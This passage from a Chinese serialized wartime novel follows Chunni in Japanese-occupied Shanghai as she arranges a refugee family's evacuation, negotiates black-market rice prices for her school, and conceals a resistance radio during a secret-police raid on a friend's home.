“有,老板,格林先生他们真的要从我们的渠道走?”问话的是餐厅跑堂小张,他是他们这一组的发报员,一开始格林先生的消息都是由他发往大本营,后续结果常文远并没有瞒他。 常文远点了点头:“目前是这样定的,至少咱们的路线到目前为止很安全。这也是大本营对我们的信任。” “可咱们那一路都要吹海风,其他人我不担心,格林先生的女儿听说身体很弱,她能不能撑住?” 因为战争,海港两地的客运班轮早就停运,只有他们物资组的货运渠道来往于两地之间,比较通畅,且比较快速安全地将格林先生一家人送往目的地。 常文远道:“军情如火,咱们尽量在路上多照料一下他们,但为了尽快抵达,目前只能这样。” “我想再确定一下出发时间,有没有临时变动?” “还是明天,不改。”常文远看向春妮:“你记得通知格林先生,让他明天一定准时过来。” ………… 算一算,春妮自来到海城之后,做过的大事不多,也有三五件,不是没见过世面的人。 即便如此,在从淮扬菜馆回来的当天晚上,她仍是焦虑得差点失眠。 这次,他们将要参与护送的,是即将改变无数个人命运,并在今后的将近一个世纪中,仍将改变无数人命运的药品青霉素。 没有人比她更明白,这次的任务有多重。 春妮从医院搬回来没多久,看她病情稳定得差不多,夏风萍就回了家。这时朱先生已经从藏身处回到自己家,继续做起了他的记者。 没有夏风萍数着,春妮一晚上不知翻了多少个身,也不知什么时候,迷迷糊糊地睡着了。 这一晚上辗转难眠的,岂止是春妮一个人? 第二天上午,为了确保行动顺利,春妮回了一趟闸口路旧居,结果被吉拉太太告知,她的表亲格林先生一家人因为小女儿发热,半夜里全都去医院挂了急诊。 春妮当时心里就觉得不妙,此时正是冬季伤风多发季节,米妮又向来体弱,以前因为格林先生在医院工作有便利,住院并不难。但他这次从医院辞职的时候,他办公室里那个多疑的倭国人以为他是因为对自己不满愤而辞职,对他很不满。倭国人知道格林先生家里只有他一个顶梁柱,在他走之前,还曾用他这个月的薪水威胁过他。 赶到医院之后,事情虽然没有朝着最坏的方向滑过去,米妮顺利挂上了吊针,但第二天早上,倭国人上班之后,医生原本开好单据的药品忽然就缺货了。 即使春妮及时赶到,另外给他们几瓶药,那个倭国人仍是纠缠不清,说药物来源不明,叫嚷着必须把药品给他看过之后,确定没问题才准用到米妮身上。 现场没人听他的,但因为他跟格林先生杠上,使得病室环境极为嘈杂,让小米妮十分不安,最后是哭着打上针的。 为防倭国人继续找麻烦,春妮陪着焦急的一家人在病房外等待了一个白天,米妮的热虽然降下一些,病情有所好转,但仍是非常虚弱。 春妮坐过装货的海船,这样的米妮经不起一点海风的吹打。 她不得不提醒他们一家人,考虑另一个方案。 “不能再拖延两天吗?只需要两天,米妮一定会好起来,那时候我们再一起走啊。”格林祈求地看着春妮。 春妮有些不忍:“可是什么都已经安排好了。格林先生,美国人为保万无一失,冒着被倭国人击沉的威胁开来了军舰。不要说拖延两天,就是拖延两个小时,就有可能会被倭国人发现,产生可怕的后果。这已经是军事行动,而不是轮船晚点改签那么简单。” “可是,米妮病成这样,我怎么放心带她上船?”格林痛苦地抓着头发。这些天所有的快乐变成了箭簇,倒扎在他身上,钻心地疼。 春妮沉默下来,她试想了一下,把米妮换成夏生,让她面临这样的选择,也是要疯的。 “我有一个建议,”长久的沉默之后,普尔南沉声道:“你带着霍利先走,我留下来照顾米妮。等她病好之后,我们自己去美国。” “不行,这是我们唯一的机会,现在两国正在交战中,连工部局的美国人董事都回不了国。没有军舰,你们一个老人,一个小女孩,不可能到美国。我不同意!”格林先生激动地说。 春妮动了动嘴唇,但她还没说话,格林先生已经凶狠地看过来:“顾小姐,我现在只是个可怜的父亲,并不想听见类似于人类福祉这样的劝告。” 普尔南看着他,眼神彻底恢复了平静:“你会同意的,格林。这是米妮的机会,可这也是霍利的机会,是你的机会。你不能因为米妮而让霍利留下来,这对他不公平。世上没有唾手可得的事,上帝会保佑我们的。” 格林先生抱着头,“呜”地哭了出来。 春妮站起来,为这个幸运而又不幸的一家人关上了病房的门。 不止是战争易使亲人远隔山河,意外也会。 半个小时后,格林先生走出来,郑重地拜托春妮,请求她在他不在的时候,帮忙照顾米妮和普尔南。 春妮自然答应了,并且还表示,可以帮忙说服方校长,在学校给普尔南祖孙俩弄一套房子住着,或是将他们送到更安全的大后方去。 格林先生都拒绝了,短短数年间,闸口路这一条不长的街道聚集了至少五万个从世界各地逃到华国来的犹太人,这里已经形成了一个小小的犹太街区。普尔南和米妮住在这里,有亲人,有朋友,有熟悉的乡音,跟族人住在一起,这更让他们感到安心。 春妮不再劝解,当天晚上,目送父子俩登船的背影,她一个人静悄悄返回了学校。 因为之前大病一场,这次又是坐货船转海路,条件过于艰苦,常文远没有安排春妮护送的任务。她没有坚持,大病初愈,还坐了一个多月的牢,之前落下的工作太多了。 倭国人又夭蛾子频出,春妮可以预料到,接下来至少到年底,她忙到飞起的日子。 第186章 186 市民证 “……别说倭国人了, 那些为虎作伥的狗腿子成天在街上晃荡,干的坏事比倭国人坏多了。华国人内斗内行,外斗外行, 要我看, 还是华国人最喜欢坑害华国人,有没有倭国人都是一个德性。” “这叫什么话?那些狗腿子干的缺德事,有多少是倭国人在后边撑腰指使,打量我们不知道?敢情现在要抛开倭国人说话,说得倒像他们多无辜似的。明彰,你的想法很有问题。” “我本来说的就是实话,从古到今, 这点就没变过。前朝皇家园林,都说是外国人烧的, 实际呢,英国人只在里边放了几把小火,他们走之后,是皇家园林原先驻守的太监害怕皇帝回来后追责, 索 性哄抢完剩下的东西,一把火烧了园子逃走的。要说可恶, 还是这群刁民最可恶。”【注1】 “啪!”有人拍桌而起,怒骂道:“姓曹的,你说这话还有没有良心?你还是不是华国人?” 没等春妮进门, 先听到了屋中人这一番高论。 现在已经是倭国人入侵租界的第二年年初,短短两个月, 租界中形势倒转,连这类言论都有人公开宣扬了。 春妮盯着曹明彰,前年港城那个一言不合便怒发冲冠的青年已经变得面目全非, 让人认不出旧时模样。 曹明彰除了叔叔是救火会会长,家里长辈多数在政界履职。倭国人进驻租界,他们家受到的震荡最大。 虽说倭国人占领租界,并没有大肆破坏原来的政府组织结构,但给欧洲人干活,跟给倭国人干活,当然有着本质区别。欧洲人在租界统治将近一个世纪,政府也承认他们在华国的特权,其他人固然会有不满,可他们给欧洲人干活是合法的。可倭国人呢?他们的作为有目共睹,给倭国人干活,那可要做好出卖同胞,并且被政府追杀的准备。 这段时间,只要稍有些良心的政府雇员都开始另谋出路。只是时局艰辛,另谋出路说来容易,做来又何等艰难! 去年底春妮见到他,是他找到学校来,问她借了二百块钱。现在似乎又发达了起来? “好了好了,说好今天来喝茶的,怎么剑拔弩张的一股火|药味?都坐下来,听我的,都坐下来坐下来!”眼看有人要挥拳头,秦伟不得不站起来居中调停。 短短数月,有人一落千丈,有人乘势飞腾,更上一层楼。在坐的人中,秦伟大概是这几个月中变化最小的人。 严格来说,他算外籍华人,只是这时战乱,国籍管理并不严格,而且秦伟虽在国外出生,仍旧按国内家族排行,受华语教育,平时听上去跟他们本土华国人并没有什么两样。 到了这时候,是不是华国人就有了本质的区别。 他因为家族跟法国人关系紧密,又非严格意义上的华国人,还做的是最紧要的粮食生意,在这一波巨变中,家族影响最少。只是,像去年前年让他大出风头的水球生意,只怕也做不了了。 对他们这些把控海城对外粮食渠道的商业巨子而言,这点比赛奖金和赌资,只不过是小钱。除了变现快,赚钱方式相对比较安全之外,并没有别的可取之处。如今放弃,只令秦伟感叹,以后可玩的东西少了一样,也没有别的影响。 再者,从新历年初开始,倭国人推行的市民证正式落实,所有年满十五岁以上的本地居民都必须去工部局警察局等相关部门领取这个证件。 以后,本地市民将凭这个证件领取户口米,煤等生活必须品,并且必须随时携带,避免倭国人在路上随时的检查。 市民证上那数行华倭交杂的双语字提醒着每个人,他们如今已全然被倭国人统治,成为了无依无靠的亡国奴。而秦伟作为外国人,是不必领取这个由倭国机关签发,代表着华国人屈辱的证件的。 为此,许多市民宁愿躲在家里减少出门,也不愿意出来领取这个证件方便行走。 至于户口米,那是倭国人有鉴于租界供米日渐紧张,规定所有居民以后凭户口上的人头数到粮店定额买米。然而,哪怕他们通宵排队,真正能买到米的普通人仍是寥寥无几。 短短几月,市面萧条,街上行人愈见稀少。昔日的东方巴黎一到夜晚,几乎成了鬼城。 “曹明彰,皇家园林被英法联军烧毁这件事是被他们的总领事和军事首领自己承认的,你言之凿凿,一口咬定是假的,你是在现场看见了吗?问过当事人的意见了吗?” 虽然有秦伟调停,战火还是没能熄灭。 曹明彰冲说话人瞪眼,让秦伟一拉,运了运气,哼声道:“一个女人懂什么懂,我懒得跟你说。” 邹晶玉冷笑道:“女人怎么了?女人都知道不给同胞抹黑造谣,你这个男人又做了什么?” “你——” “我什么我?”邹晶玉狠狠往地上呸了一口:“软骨头。” 曹明彰“腾”地站起来:“看来有人是容不得我,我走就是了。” 说着,不顾秦伟在身后的呼喊,快步走出玄关,在门口碰到春妮,他顿了顿,什么话都没说,转身飞快离去。 春妮绕过玄关,听见秦伟在跟邹晶玉劝话:“你也是的,性格怎么还这么直?你不知道他们家情况?他父亲在新政府谋了个职——” “哦,原来是投了倭大人的门下啊。要吃倭国人的饭已经是贱人一个,还想踩着国人上路,更是贱中之贱。这种贱人,还有什么必要跟他来往?”邹晶玉性格刚烈,说话是他们这个小团体当中,一向最不留情面的。 “这……大家毕竟都是一起长大的,明彰他又没做什么,不过是他家里长辈的问题——” “秦伟,你要再这样说,我可没法跟你讲下去了。我才不要跟倭国人狗腿子说话。”邹晶玉气得扭头过去。 气氛一下降到了冰点。 “我……我是不想看大家闹矛盾,怎么就成了倭国人狗腿子?”秦伟也生气了。 这时,江婉玉看到春妮,忙笑道:“小顾,你今天可是稀客,请你几次都不来。” 春妮也无视了僵硬的气氛,笑答道:“好长时间没聚了,今天我特地来看看大家。” “你可是大忙人,约你真不容易。今天可得跟我们多坐一会儿。”秦伟神色也恢复了自然。 邹晶玉这时也转过来笑道:“就是,我年前去川陕路清吧吃寿司,到你学校找你几次,想约你一起去,你都不在,忙什么呢?” “你年前去找过我?什么时候?” “那可多了,让我想想,九月份一次,十一月一次,还有……” 气氛总算恢复正常,春妮趁机从众人身边抽身,走到留声机边,搁上了《Canzta sullaria》的唱片。【注2】 这首来自《费加罗的婚礼》的女声二重唱近段时间在海城上流社会十分流行,因为法国的一个歌剧团刚刚结束了在海城为期半个月的巡演。尽管多数人都不懂法语,并不知道歌词中吟唱的意思,甚至可能不知道歌剧演的是什么,但海报上的喜剧,轻松之类的噱头已经令手有闲钱的海城人愿意走进剧院来一场忘却世俗的倾听。 这样高雅昂贵的演出表演或许不是人人都听得起,但中下层市民也有他们的娱乐方式,比如看一场轻松的爱情电影,或是到学校和小剧团看看话剧和滑稽戏,那几乎是人们逃离沉重生活的唯一方式。 轻柔抒情的乐曲声中,江婉玉走到她的身边,唇边挂着歉意的笑:“又让你看笑话了。” 尽管参加过很多次他们的聚会,春妮仍然不能算成功融入到他们当中。这一点江婉玉清楚,春妮也清楚,她和屋里的其他人,从一开始就不是一个世界的。她也从来没想过,会成为他们中的一员。 因此,对她“见外”的自嘲,春妮只是摇摇头表示不介意,并没有说什么。 倒是江婉玉忽然说出一句话:“我可能要走了。” 春妮的反应是,先往后看了一眼,见大家没有注意他们的谈话,才小声道:“江先生决定了?去哪里?” 江婉玉摇头,不知道是不能说还是不知道。 她苦笑一声:“今天我让大家来,是想在走之前再看看你们。这种时候,你也知道,我一走,可能不知道多少年大家会再见,没想到还没开始就吵成了这样。” 春妮也不知道,什么时候她成为了大家倾诉的对象,明明她是个不会安慰人,又不善解人意的人啊。 她搜肠刮肚,想起来说道:“江先生坚持到现在,已经是尽力了。如今言退,不过时势原因,一个人无法对抗一个国家。” 倭国人进驻租界,首先开刀的就是工部局。江致清作为海城华人商界领袖,以及工部局华董,是倭国人重点拉拢对象。老先生商人起家,为人一向长袖善舞,同倭国人虚与委蛇到今天,只怕也到了极限。 江婉玉噗地笑了出来,看着她,神态有些无奈:“好像从一开始,你跟我们就不是一个频道的。” 春妮想了一想,才明白,大概江婉玉原本只是在作小女儿态叹别离,春妮一开口,便把思路拐到了政经局势。 她无奈地耸耸肩也笑了:“本来想说来跟你们好好放松一下,可现在脑子里转的都是这些事,对不住了。” 这两年来,江先生虽然跟校长和春妮极少见面,但 透过万管家,学校也曾受过的庇护不少。现在江先生要走,意味着学校的靠山又失去了一座。 两人举杯,共同饮下这杯别离酒。 对春妮来说,江致清一家人的离开,只是一个开始。 第187章 187 大消息 春妮这次到场聚会, 除了同江婉玉等人应酬维系感情之外,主要还是为了秦伟。 年前早有传言,万国商团即将被解散。虽然目前还看不出端地, 但这支由英法等欧洲人掌握的武装力量可是海城明面上唯一对倭国军队足以造成威胁的存在, 他们会放任其在眼皮子底下晃悠? 常文远上次跟她见面,说的也是这个意思。如今万国商团还没有被裁撤,无非是倭国人初占租界,需要用他们稳定局面加上熟悉情况。像是现在办市民证,他们用的就是巡捕房和万国商团原来的人马。因为他们为倭国人登记户口,万国商团现在变成了万人唾骂。 幸好当年学校学生登记时,春妮每年会另外为他们缴一大笔会费, 就是为了不让他们服万国商团的役,好为学校执勤。否则, 她辛苦培养出来的学生轻松被这些倭国人用来坑害华国人,想想就能气死人。 与此同时,在华北大获成功的保甲制,倭国人也开始在海城推行。可以想象, 待到将海城情况摸清,万国商团, 便会成为弃子一枚。 其他的,春妮都无所谓。但学校现在吃的米是春妮走万管家的关系,用的万国商团的营米, 再加了点成本价卖到学校来的。空穴来风,必有原因, 她必须早作打算。 因为年初所有的国产米都被倭国人划为了军粮禁品,无法进入租界,像秦伟这样的外国粮商开始变得炽手可热。万国商团眼看也没法弄到粮食, 学校几千张嘴要等着养,春妮去秦家堵了很多次人,也没找到他,抱着试试看的想法,终于在这里堵到了他。 听完春妮的诉求,秦伟倒没有一口回绝她,只道:“我家的米行现在是我大哥在管,你如果要的多,我可以跟他商量,但是这个价钱——” “我懂,秦公子你说个价,我回去想办法。” “这样吧,大米现在黑市价三百六十块一石,我算你便宜一点,三百五十五块一石如何?” 一石即一百二十斤。 比起两个月前,大伙连夜排队去粮店买四块钱三斤的平价米,价钱又翻了一倍多。不过因为倭国人不许租界的华国人买本国米,黑市米价比粮店挂牌售出的价钱一向高不少。 即使是春妮,这个价钱对她而言也是无可承受的。 哪怕每个学生一天只吃一两饭,每天也是至少两石的消耗,一个月光是给学生买米,就要花费至少两万块法币,换算成大洋,也是两三千块。她就是有座金山,只出不进的话,也要被吃空。 何况租界外,一石米只卖不到二百块。平平一条小河,隔开租界内外,一石粮食便可以再获上百块钱的巨利。 学校每天消耗的粮食不是小数,倭国人这段日子一直在组织人力到处翻查,想弄清租界的存货。所以,春妮也不可能像组织学生偷偷买煤那样,花个一两晚上,将粮食全偷运到仓库里先堆起来,这样会有很大概率被倭方以“来历不明”为由查封冻结。倭国人不傻,现在粮食可以直接变现。现成一座金山放在眼前,他们可不会管你购置渠道是否合规合理。 即使学校招收的成年班收取了学费,相比于他们付出的,只能算杯水车薪。 而学校还在源源不绝地招收新学生,又帮忙安置了一部分难民。时局越是艰难,需要用钱的地方就越多,她不可能将钱全花在买粮食上。 因为货币不稳定,现在学校老师的工资每个月都在浮动。短短三个月,一名普通老师的薪水由一百二三十块涨到了一百七八十块。即使工资涨得这么快,他们辛辛苦苦干一个月活,还是连一石米都买不起。 而老师已经是收入相对较高的人群,像是服务员,侍应生,店伙这类更下层的百姓,拿到的工资只会更少。 “不能再便宜一些吗?” “便宜不了啦,”秦伟老道地同春妮算帐:“粮食运到海城来要运费,还要打通关节,现在海上海匪多,走陆路强盗多如牛毛。护卫无法马虎,每个人都要配长□□各一条,包括军……” 秦伟的声音不知什么时候,化为了蚊子,在春妮耳边嗡嗡嘤嘤。 她站起来,听他摊手叹气:“……顾小姐,我是做生意,不是做慈善的。你也要我便宜,他也要我便宜,可风险全在我这里,你给我分不分担?我的人要不要养?这样下去,我还不如直接搬米上街做慈善。这样还能落下个好名声,你说对不对?” 秦伟这个人一向在春妮面前都是玲珑心窍,最擅长说话调节气氛的人,现在,他的话却让春妮由衷地感到了厌烦。 “那杂粮呢?你们卖不卖?” “卖,你要买什么样的?我们这里的杂粮有高粱面,玉米面……对了,价格上面,我们可能稍微高一些。你知道的,越南不产这些,我们要问其他地方拿货。” ………… 从江家公寓下楼后,春妮路过楼下的一间水果店,买了一个果篮。 现在海城还在正常营业的商铺还剩下不足一半,另外的一半也多是倭国人在做,或是有倭国人后台。法租界因为受到的破坏较小,反而得到相对完整的保全。 今天早上,夏风萍没到学校来上课,说是身体不舒服,打电话来跟校长请假去看病。春妮的这个果篮,便是买给她,打算去探病的。 坐电车抵达昌平路的时候,还不到下午四点。 这里也算英国人高档社区之一,春妮自电车上下来,从站台走到夏风萍家的这短短不到五十米的距离,至少经过了六七栋同样风格的英式别墅。而这些别墅中,至少有一半都挂出了“吉屋招租”的广告牌。 这段时间,不止是海城人日子不好过,在海城横行近一个世纪的外国上等人的日子其实同样难过。 倭国人占领租界之初,虽然特令宪兵队和76号不得滋民扰民,但将海城的外国侨民划为“敌性”与“非敌性”。像英美等已经开战的敌侨产业被倭国人分批接管,银行资金和相应背景的银行外汇也被冻结查封。所有敌侨,海外汇款一个月支取金额不许超过三百块。 三百块连一石黑市米都买不到,又怎么会够生活? 外国人在海城的苦日子来了。 战争的阴云,不会因为肤色的不同给任何一个人特赦。 以前春妮到昌平路,总会见到穿得鲜艳美丽,小卷毛梳得整整齐齐的孩子要么在道旁的林荫树下玩耍,要么在栅栏内自家的草坪上嬉戏,跟一街之外的街头难民全然是两个世界的人。 可现在,那些天真欢快的笑声不见了,这里变得很安静。走在林荫路上,春妮抬头望去,总会逮到一两双躲在窗帘背后窥视的眼睛。 这样的安静,衬托得不远处那栋红白相间的房子流泄出的音乐是那样格格不入。 “哈哈,让我逮到了吧,偷偷在家听音乐跳舞,还骗校长说你生病了。”敲开夏家的门,春妮同开门的朱先生开玩笑。 朱先生春风满面,请她进门:“来得正好,风萍有大消息告诉你。” 客厅的留声机里,一首《玫瑰玫瑰我爱你》正进入尾声。 春妮满意道:“看,我说吧,两人世界有什么不好。以前楼下许太太家租在这时,你们敢把留声机放出来吗?” 因为房主人出于某种不可说的原因,在外面住了一两个月,加上许太太说得实在可怜,夏风萍不得不宽限他们,允许他们年后再出去找房子。直到两天前,这一家人才磨磨蹭蹭地搬出去。 夏风萍脸蛋跳得红扑扑的,神神秘秘地宣布了一个大消息:“我怀孕了。” 春妮将她上下打量一遍,忽然变了脸色:“怀孕了穿什么高跟鞋,快快快,脱掉脱掉。” 朱先生立刻紧张道:“怎么怀孕不能穿高跟鞋吗?” 春妮经过一次母亲的生产,不比这两个新晋准父母什么都不懂,很老道地道:“当然不能穿了。前三个月正是不稳当的时候,万一崴了脚怎么办?” 他们成婚也有好几年,这时候才有孩子,已经算非常晚了。 不用春妮说,两人都紧张起来,忙到鞋柜前找了双舒适软和的棉鞋重新换上。 朱先生问她:“除了不能穿高跟鞋,还要注意什么?” “不能跑跑跳跳,不要喷一些奇奇怪怪味道的香水,发胶,指甲油。还有化妆品,也不知道用的是不是铅粉,最好也不要用。最要紧的,你得穿暖和些,别为了好看就只穿件大衣。还有朱先生,你也别觉得没你的事……” 春妮像个老妈子似的罗罗嗦嗦,两个人终于从将要当父母的兴奋中清醒过来,跟着她说的慌慌张张地一条条做。 说到最后,春妮问他们:“对了,怀孕的事通知你们父母了吗?” 两个人面面相觑。 夏风萍说:“我们刚从医院回来,还没来得及呢。” 春妮一拍手:“那快上楼去打电话啊,你妈懂得不比我多多了?” 三个人又一窝蜂涌上楼去给夏家父母打电话报喜。 夏家的电话安在卧室,春妮不方便跟进去。上到二楼,她直接拐去了书房到书架找书看。 她在书架上翻了会儿书,眼睛扫过旁边的窗户。 窗外的楼下,两辆军绿色吉普车驶过,外头传来刹车的声音。 没过一分钟,楼下夏家的大门被人粗暴地敲响了。 第188章 188 紧张 “开门!快开门!”外面吵嚷的声音带着异国人说话特有的僵硬感。 隔壁卧室门打开, 春妮跟朱先生紧张的视线相对。 “谁啊?”他扬声发问,蹑足跑到春妮面前,低声问:“你知道怎么回事吗?” 没等春妮说话, 外面人听见朱先生声音, 敲门声更加粗暴,听上去简直像在砸:“快开门,里面的人开门!” 双开门的暗红实木门被撞击得仿佛下一秒就要轰然倒下,连客厅顶上的水晶吊灯都开始了轻微的晃动。 来者不善! “这栋房子里有没有哪里不妥?”只一瞬间,春妮就想到了最不妙的地方。 朱先生往书房的方向看了一眼,与此同时,外面开始明目张胆地砸门, 细听来,还有枪栓拉动的声音。 这时, 夏风萍也从卧室里冲了出来,她推了朱先生一把:“你先去拦着他们,东西我来——” 说着,她拉着春妮跑进书房, 顺手将它反锁。 隔着书房的门,春妮听见朱先生咚咚下楼的声音:“来了来了, 不要砸了,马上就来开门了。” 夏风萍跑到书桌前,同春妮道:“快帮我搬开它。” 两个人抬起书桌, 一心二用。 “你就是朱家辉?” “我是,你们是?” “抓起来, 搜!” 朱先生:“喂,你们是什么人,闯到我家干什么?你们知不知道我是谁?喂, 你,站住!不许上去!你们这是在擅闯民宅,我让你们站住听没听见?” 夏风萍整个身体都在抖动,以至于她的指甲在地板缝隙间扣动了好几下,才将地板扳开了一条缝。 只是这短短几息时间,楼下的人已经上到了二楼。 她急忙拽起夏风萍:“快,你先去拖他们几秒。” 她已经等看清了里面的东西,是一本小册子,册子旁边,有一盒火柴。 “快把它烧了。” 出门前,夏风萍取出抽屉里的手枪。 春妮忙按住她:“不到这一步,你信我。” 她看了春妮一眼,把枪搁进她手心:“要是有万一,你不用管我们,自己逃。”说着,扯开旗袍的领子,活动了一下手脚,拉开了门。 在夏风萍出门的那一瞬间,春妮已将暗格里的册子和书架顶端伪装成木匣子的电台收进了空间,视线扫过书架,抽出上面一本书随手一翻,塞了进去。 外面是夏风萍紧张的对峙:“你们是什么人,凭什么闯到我家来?你们不许过来。” “不许碰她,她怀孕了,别碰她——唔唔唔!”朱先生的嘴被捂住了。 “你们干什么?抓哪呢抓哪呢?臭流氓!”夏风萍激动地叫。 然后“砰”! 是房门猛烈撞击的声音。 等那些人闯进门时,春妮站在藤椅边,一副惊吓过度的神情,书桌已经被恢复了原样。 “不许动!快抓住她,靠边站。”三五个人同时向春妮扑过来,按住了她。 冲进来总共七八个人,看得出来都是抄家索命的好手,这些人首先对准书架,将书抱下来一本本抖动翻阅,包括书架背后的隔板都被他们搬过来仔细检查,再有几人趴在地板上,有规律地敲击着,连一条缝都不放过。 而春妮被押到门边,看见最后一个人走进来,目光落在她身上:“真巧啊,顾小姐,我们又见面了。” 春妮撇过头去,似乎心虚一般,轻轻哼了一声。 山本兴味大起,忍不住笑道:“不知道这一次顾小姐是不是又是无辜的?” 终于—— “这里有个暗格!”有人叫起来。 夏风萍身子轻轻一颤,脸白得像纸一样,不觉看向春妮,却被山本看到,冷声吩咐左右:“都给我看紧了,要是谁敢乱动,一枪打死!” 说着,他挥挥手,令左右将朱先生押上来,一手接过暗格中扒出来的本子,读出封皮上的字:“《华国地理图志》?这是什么?” 朱先生反应极快,懵然道:“如您所见,这就是一本我国自行出版的地理图集啊。怎么,长官,有什么问题吗?” 山本手中册子翻得哗哗响,俄尔抽出一柄小刀,挑破这本地理图集的书脊中缝,抽出缝书的线,一张一张细细地看,却是除了印刷整洁的油墨字体,再没有别的东西翻倒出来。 他神色阴沉:“再搜!你们几个,看住他们,把他们身上也搜一遍。”带着人去了另一间房。 这下夏风萍和朱先生神色大定,听见隔壁翻砸东西的声音,朱先生还心疼地叫:“长官,你们别砸啊,我们家没钱,您砸了我们可再买不起了。” 搜查足足持续了一个钟头,最后,山本亲自领着人上了顶楼,将顶层上的每一个瓦片都翻了起来,除了几卷胶卷和两把枪,以及那本可疑的地理图集,再没有抄出其他东西。 山本望着摆放在面前的几样东西:胶卷上是什么,只有洗出来才知道,但看这对夫妇的神色,应该不是什么要紧的东西,而枪的话,这个年代,哪个有点家底的人家不会预备些防身的东西?这家人这样富裕,有枪也不稀奇…… “长官,我就说你们抓错人了吧,你看,我们家真没有干违法的事啊。”朱先生抓紧机会大声辩解。 山本久久凝视着朱先生的脸,间或将视线投到春妮身上。直觉告诉他,这里面一定有鬼,否则一个跟白云铠有关的小姑娘,为什么接连两次会出现在他面前? 但是—— “带走!”他一挥手,就要将人押走。 “长官,你们抓人总要有个原因吧。”朱先生叫起来:“我是《新民晚报》的记者,我们老板是兴亚院藤本部长的学生,你们无故抓人,传到藤本先生耳朵里,他不会答应的!” 兴亚院?春妮听常文远说过倭国人的这个组织,它在媒体中几乎没出现过,普通人也绝少了解这个部门,它的最高领导却是倭国首相,也是倭国人在华国侵华组织的最高领导部门。专门负责奴化教育,以及侵华的所有事务。 朱先生报出的这个名字显然很有分量,但也只令山本停留了一瞬。他拿起手中的书,拍向朱先生的脸:“想拿藤本先生来压我?但即使是藤本先生,也无法阻止我来抓偷藏禁书,意图反倭的反政府分子吧?” “什么禁书?你是说这 本《华国地理图集》?这本书是我从正规书店渠道购买得来,凭什么你说它是禁书,它就是禁书了?” “它是不是禁书,可不由我说了算,”山本抽出书中的一个册页,“这一页,你看印的什么?” “地图啊,地理图集,它不印地图印什么?”朱先生凑近看,不解道。 山本皮笑肉不笑:“朱先生,请不要跟我装傻。这一页,印的分明是东三省地图。东三省已经是我倭国固有领土,却在这本书上被归类到华国领土上,你难道不觉得,有什么不妥吗?” “你——”朱先生被气得一时没说出话。 夏风萍怒道:“你们以为,抢走了东三——” “风萍,不许瞎说!”朱先生急忙喝住她。 春妮紧张地盯着山本,生怕他会对夏风萍不利。 幸好他只是挥挥手:“都带走。” 这下春妮不干了:“我是来看望朋友的,那你们凭什么抓我?” 朱先生也道:“书是我买的,不干我太太的事,你们放了她。” 春妮道:“为了一本禁书,把一家人连带做客的客人都抓了,这要是传出去,对山本先生也不好吧?” 山本还没说话,门口又传来停车的声音。 夏太太在外边就叫起来:“这是怎么了?怎么来了这么多人?风萍,风萍?家辉?” 夏家两夫妇一前一后进来,被拦在门边。 夏先生看见山本,拽了拽太太的衣襟,连忙哈腰笑道:“山本先生,您……您这是在干什么?” 看见夏先生,山本的脸色略松缓了一些,问道:“夏先生,这一家人是你的?” “山本先生,这正是小女和小婿。不知他们怎么得罪了您,我代他们向您赔个不是,您千万别计较。”说着,他示意夏太太拉开包,从里面取出一个红封,塞给山本。 山本板着脸,道:“既然是夏先生的女儿,这次就先算了。你记得好好教育女儿,下次惹了祸,可不一定会碰到我这么好说话。朱先生,你先跟我走吧!还有朱太太,你最好哪也不要去。你要是走了,我不保证朱先生会遇到什么事。” “唉,唉,山本先生,家辉,家辉!”夏先生往外追出去,直到车子发动离去,才折返回来问夏风萍:“你这丫头,快跟我说清楚,到底出了什么事。为什么特高课的山本会来抓家辉?” 夏风萍三言两语,将“禁书”的事说了。 夏先生狐疑:“就这件事?” “就这件事。”夏风萍隐晦地看了眼春妮。要不是父母还在这,她已经问了出来,这短短的时间,春妮把他们的东西藏到了哪去。 “只是一本禁书,就让特高课出动了这么多人?”夏先生表示不信。 “哎呀,你问这么多干什么?风萍你没吓着吧?身体怎么样?老爷,当务之急,是赶紧把家辉救出来。你赶紧想想看,有没有认识的人能帮上忙的。”夏太太催夏先生赶紧离开打听消息,又对夏风萍道:“本来你结婚这么多年,好不容易有了喜事,怎么又出了这种事?你这孩子,总不叫人省心。” “妈——” 夏太太挥了挥手,从包里掏出另一个红封:“这些钱,原本是我跟你爸预备来给你添喜的,谁知道你竟给的是这么个‘惊喜’。救人要紧,多的话我也不说了,你在家先好好歇一歇,等我们先去打听消息。顾小姐——” 春妮忙道:“夏先生夏太太,我在这陪着风萍,你们放心。” “出了这样的事,叫我怎么放心?只能劳烦你了,顾小姐。”夏太太叹着气,跟夏先生走了。 他们俩一离开,夏风萍迫不及待地问道:“那本——” 春妮作了个手势,到窗边观察了一会儿,合上房间的门,同她附耳道:“那本书,我是怕他们搜出暗格,随便放上去应付的,没想到——” “不怪你,”夏风萍这会儿已经冷静了下来:“书就在架子上放着,你就是不动,他们想抓家辉也找得到理由。连我们画了东三省的地图都成了罪证,多可笑。倒是今天,差点连累你了。东西?” “谁也找不到,放心。” 春妮摇摇头,她会意地闭上了嘴。 不一会儿,又忧虑地道:“不知道他们会怎么对家辉。” 这……就只有天知道了。 春妮握住夏风萍的手,安慰道:“至少他们没找到东西,就没办法给他定罪。” “可他们一定会折磨家辉。”夏风萍一只手捂住眼睛,泪水从她的指缝里渗了出来。 她静静地流了会儿眼泪,忽然道:“你说,为什么倭国人突然会来搜查我们家?” 第189章 189 奔波 春妮给夏风萍冲了一杯牛奶, 她推开了,起身越过一地的狼籍,想去换衣服:“你喝了吧, 我出去还有些事做。” 下午这些豺狼一番抄检, 屋子倒了一地的碎瓷和零碎摆件。两个人都懒得收捡,索性就这么乱丢在地上。 春妮拉她到卫生间,示意她从卫生间往外看。街对面的梧桐树下,蹲着两个戴有檐呢帽的男人。 “这下糟了。”夏风萍在屋子里转了两圈,几次看向春妮,轻声道:“春妮,有件事, 我想请你帮我。” “你说。” ………… 是晚,夏风萍别墅 “妈, 时间不早了,你也赶紧洗洗去睡吧。”夏风萍一脸困倦。 夏太太打了个呵欠,这一下午又是惊吓又是到处托关系,她也的确是乏了:“好, 那妈妈去洗漱,顾小姐?” 春妮道:“我再跟风萍说会儿话, 等伯母您洗完澡就走。” “这么晚了走什么走,我让家里带来的佣人把隔壁房间收拾了,今晚我跟她爸就睡在隔壁, 你在这陪风萍睡吧。”夏太太道。 看春妮点头答应,夏太太拿起衣服去了洗漱间。 等夏太太一离开, 夏风萍迫不急待发问:“怎么样?” 春妮摇摇头:“我已经确认完毕,其他人都好好的,被抓的只有朱先生, 现在应该都已经安全转移了。” 夏风萍松了口气:“那就好。家辉不是被人出卖的……他不是被人出卖的,那是哪出了问题?” 春妮往楼下的方向看了一眼:“我有个猜测……” 